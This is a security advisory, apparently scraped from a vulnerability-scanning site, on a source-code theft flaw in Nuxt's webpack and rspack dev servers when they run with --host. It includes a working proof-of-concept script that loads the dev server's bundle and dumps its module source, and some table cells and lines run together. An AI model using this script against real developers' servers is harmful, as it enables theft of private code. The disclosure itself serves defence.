| Package | Affected versions | Patched versions |
|---|---|---|
| nuxt/rspack-builder | ≥ 3.12.2, < 3.21.5≥ 4.0.0, < 4.4.5 | 3.21.54.4.5 |
| nuxt/webpack-builder | ≥ 3.0.0, < 3.21.5≥ 4.0.0, < 4.4.5 | 3.21.54.4.5 |
| @nuxt/rspack-builder | ≥ 3.15.4, < 3.21.6≥ 4.0.0-alpha.1, < 4.4.6 | 3.21.64.4.6 |
| @nuxt/webpack-builder | ≥ 3.15.4, < 3.21.6≥ 4.0.0-alpha.1, < 4.4.6 | 3.21.64.4.6 |
This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.
Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.
npm run devhttp://localhost:3000const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
for (const page in window[key]) {
const moduleList = window[key][page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)
Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using .
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free--hostThis vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.
Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
If you cannot upgrade immediately:
nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.